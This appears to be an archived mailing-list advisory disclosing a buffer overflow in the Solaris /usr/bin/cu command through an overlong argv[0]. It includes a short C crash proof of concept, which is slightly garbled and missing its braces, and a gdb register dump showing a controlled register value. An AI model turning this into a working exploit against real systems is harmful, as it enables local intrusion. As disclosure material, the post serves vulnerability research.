[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Solaris :/usr/bin/cu Vulnerability


The /usr/bin/cu command contains a buffer overflow, the problem occurs
it copy his own name ( argv[0] ) to an internal variable without
out its lenght and this causes the overflow.

Vulnerable Versions

Sun Solaris 2.4
Sun Solaris 2.5
Sun Solaris 2.5.1
Sun Solaris 2.6
Sun Solaris 2.7

(Dont know about Solaris 2.8)

Technical Description

#include <stdio.h>

void main(int argc,char **argv)
char *buf;

buf = (char *) malloc(atoi(argv[1])*sizeof(char));
execl("/usr/bin/cu",buf,(char *)0);

$ uname -a
SunOS tomy 5.5.1 Generic_103640-34 sun4m sparc SUNW,SPARCstation-5

$ ./cu-demo 4000
Segmentation Fault (core dumped)

$ gdb ./cu-demo --core=core

GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
welcome to change it and/or distribute copies of it under certain
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
This GDB was configured as "sparc-sun-solaris2.5.1"...
warning: core file may not match specified executable file.
Core was generated by
Program terminated with signal 11, Segmentation Fault.
#0  0xef62901c in ?? ()
(gdb) info registers
g0             0x0      0
g1             0xef628d24       -278754012
g2             0x0      0
g3             0x0      0
g4             0x0      0
g5             0x0      0
g6             0x0      0
g7             0x0      0
o0             0x137a4  79780
o1             0xef792a88       -277271928
o2             0x0      0
o3             0x0      0
o4             0x0      0
o5             0xef792a88       -277271928
sp             0xefffecb0       -268440400
o7             0x31b48  203592
l0             0x7efefeff       2130640639
l1             0x81010100       -2130640640
l2             0xff000000       -16777216
l3             0xff0000 16711680
l4             0xff00   65280
l5             0x81010100       -2130640640
l6             0x7      7
l7             0xef7927d4       -277272620
i0             0x39000  233472
i1             0xeffffec4       -268435772
i2             0x38088  229512
i3             0x41414141       1094795585
i4             0x2f     47
i5             0x0      0
fp             0xefffecf0       -268440336
i7             0x137a4  79780
y              0x0      0
psr            0x4400086        71303302
wim            0x0      0
tbr            0x0      0
pc             0xef62901c       -278753252
npc            0xef628ffc       -278753284
fpsr           0x0      0
cpsr           0x0      0

Pablo Sor